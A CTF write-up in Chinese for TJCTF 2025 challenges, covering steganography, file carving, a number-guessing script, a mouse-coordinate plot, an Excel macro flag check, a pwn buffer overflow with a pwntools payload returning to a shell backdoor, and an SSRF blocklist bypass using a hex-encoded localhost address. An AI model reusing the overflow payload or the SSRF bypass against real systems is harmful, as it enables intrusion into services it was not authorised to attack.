TJCTF 2025
crypto
forensics
hidden-message
i found this suspicious image file on my computer. can you help me figure out what's hidden inside?
给了一张图片,先去看属性信息和十六进制内容并未发现异常,拖入stegsolve中查看是否为lsb隐写,按图示勾选拿到flag。

deep-layers
Not everything ends where it seems to...
原本以为是在二进制查看下在文件末尾写了flag,但是并没有看到,不过看到了压缩文件标志性的PK字符,故想办法去分离文件。

分离出来后分别有一个png文件和一个zip文件,其中zip文件解压缩需要密码。

去查看png的十六进制,发现了疑似password的字段和base64编码后的内容,拿去base64解码得到压缩包密码


解压缩后以文本形式查看拿到flag

misc
discord
Welcome to TJCTF 2025! Check out our Discord server for announcements and updates.
在官方discord的announcement频道即可直接看到flag

guess-my-number
You only get ten tries to guess the number correctly, but I tell you if your guess is too high or too low
nc tjc.tf 31700
题目给了一个python文件,查看后是后端代码。
#!/usr/local/bin/python
import random
flag = open("flag.txt").read().strip()
r = random.randint(1, 1000)
guessed = False
for i in range(10):
guess = int(input("Guess a number from 1 to 1000: "))
if guess > r:
print("Too high")
elif guess < r:
print("Too low")
else:
guessed = True
break
if guessed == True:
print(f"You won, the flag is {flag}")
else:
print(f"You lost, the number was {r}")
逻辑很简单,就是通过反馈大小在1到1000猜数。只需要写一个二分法查找的脚本即可。
import socket
def main():
host = 'tjc.tf'
port = 31700
# 创建socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print(f"Connected to {host}:{port}")
# 使用makefile简化读写
f = s.makefile('rw', buffering=1)
low = 1
high = 1000
guessed = False
# 尝试最多10次
for _ in range(10):
mid = (low + high) // 2
# 发送猜测的数字
f.write(str(mid) + '\n')
# 读取服务器响应
response = f.readline().strip()
print(f"Guess {mid}: {response}")
if "Too high" in response:
high = mid - 1
elif "Too low" in response:
low = mid + 1
elif "You won" in response:
print("Flag found in response!")
print(response)
guessed = True
break
# 如果10次未命中,读取最终失败消息
if not guessed:
final_msg = f.readline().strip()
print(final_msg)
# 关闭连接
f.close()
s.close()
if __name__ == "__main__":
main()

mouse-trail
i was tracking my mouse movements while working on some secret documents. the data got corrupted and now i have thousands of coordinate pairs logged. can you help me figure out what i was drawing?
给了一个txt文档,每一行都是一个坐标点,另外根据题目描述,这个坐标点就是记录的鼠标坐标的日志,我们只需根据坐标点做题即可生成一幅图片。
import matplotlib.pyplot as plt
# 从文件中读取坐标数据
def read_coordinates_from_file(file_path):
x_coords = []
y_coords = []
with open(file_path, 'r') as file:
for line in file:
# 去除空白字符并跳过空行
line = line.strip()
if not line:
continue
# 分割坐标
parts = line.split(',')
if len(parts) < 2:
continue
try:
# 尝试转换为整数
x = int(parts[0])
y = int(parts[1])
x_coords.append(x)
y_coords.append(y)
except ValueError:
# 忽略无法转换的行
continue
return x_coords, y_coords
# 主函数
def main():
# 替换为你的文件路径
file_path = 'mouse_movements.txt' # 更改为你的实际文件名
# 读取坐标数据
try:
x_coords, y_coords = read_coordinates_from_file(file_path)
except FileNotFoundError:
print(f"错误: 找不到文件 {file_path}")
return
print(f"成功读取 {len(x_coords)} 个坐标点")
# 创建图形
plt.figure(figsize=(12, 8))
# 绘制散点图
plt.scatter(x_coords, y_coords,
s=10, # 点的大小
alpha=0.6, # 透明度
color='blue', # 颜色
edgecolor='none') # 无边缘颜色
# 添加标题和标签
plt.title('坐标点分布图', fontsize=16)
plt.xlabel('X 坐标', fontsize=12)
plt.ylabel('Y 坐标', fontsize=12)
# 添加网格
plt.grid(True, linestyle='--', alpha=0.7)
# 调整布局
plt.tight_layout()
# 保存图像
output_file = 'coordinates_plot.png'
plt.savefig(output_file, dpi=300)
print(f"图像已保存为 {output_file}")
# 显示图像
plt.show()
if __name__ == "__main__":
main()

能隐隐看出这就是flag,能确定的是花括号前的内容一定是tjctf,可以看出存在上下偏转,对图像进行上下翻转的操作后即可看到flag。

pwn
i-love-birds
Birds are cool. nc tjc.tf 31625
题目给了c的原文档,和编译后的elf文件
#include <stdio.h>
#include <stdlib.h>
void gadget() {
asm("push $0x69;pop %rdi");
}
void win(int secret) {
if (secret == 0xA1B2C3D4) {
system("/bin/sh");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
unsigned int canary = 0xDEADBEEF;
char buf[64];
puts("I made a canary to stop buffer overflows. Prove me wrong!");
gets(buf);
if (canary != 0xDEADBEEF) {
puts("No stack smashing for you!");
exit(1);
}
return 0;
}
可以看到作者用自己定义的变量试图模拟canary的功能,但是因为不是随机值所以直接按照所给内容进行覆盖,另外还看到有后门函数直接把返回地址改到system相关语句即可,不用管前面的判断语句。
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./birds')
#libc = ELF('./libc.so.6')
#io = process('./pwn')
io = remote('tjc.tf',31625)
backdoor = 0x4011DC
canary = b'\xEF\xBE\xAD\xDE'
io.recvuntil("I made a canary to stop buffer overflows. Prove me wrong!")
payload = b'a' * 76 + canary + p64(0) + p64(backdoor)
io.sendline(payload)
io.interactive()

reverse
guess-again
What happens if you press the button?
是比较新颖的逆向题目方式,通过excel表格中的宏指令来进行逆向分析。

对checkflag宏指令进行编辑可以查看判断逻辑。
Sub CheckFlag()
Dim guess As String
guess = ActiveSheet.Shapes("TextBox 1").TextFrame2.TextRange.Text
If Len(guess) < 7 Then
MsgBox "Incorrect"
Exit Sub
End If
If Left(guess, 6) <> "tjctf{" Or Right(guess, 1) <> "}" Then
MsgBox "Flag must start with tjctf{ and end with }"
Exit Sub
End If
Dim inner As String
inner = Mid(guess, 7, Len(guess) - 7)
Dim expectedCodes As Variant
expectedCodes = Array(98, 117, 116, 95, 99, 52, 110, 95, 49, 116, 95, 114, 117, 110, 95, 100, 48, 48, 109)
Dim i As Long
If Len(inner) <> (UBound(expectedCodes) - LBound(expectedCodes) + 1) Then
MsgBox "Incorrect"
Exit Sub
End If
For i = 1 To Len(inner)
If Asc(Mid(inner, i, 1)) <> expectedCodes(i - 1) Then
MsgBox "Incorrect"
Exit Sub
End If
Next i
MsgBox "Flag correct!"
End Sub
Function check(str, arr, idx1, idx2) As Boolean
If Mid(str, idx1, 1) = Chr(arr(idx2)) Then
check = True
Else
check = False
End Function
直接将expectedCodes = Array(98, 117, 116, 95, 99, 52, 110, 95, 49, 116, 95, 114, 117, 110, 95, 100, 48, 48, 109)转换为char类型即可得到but_c4n_1t_run_d00m,加上tjctf{}即可
web
loopy
Can you access the admin page? Running on port 5000

当我们想要让他解析自己的5000端口的admin页面时发现有黑名单,选择合适方法绕过。
http://0x7f000001:5000/admin

提交即可拿到flag

浙公网安备 33010602011771号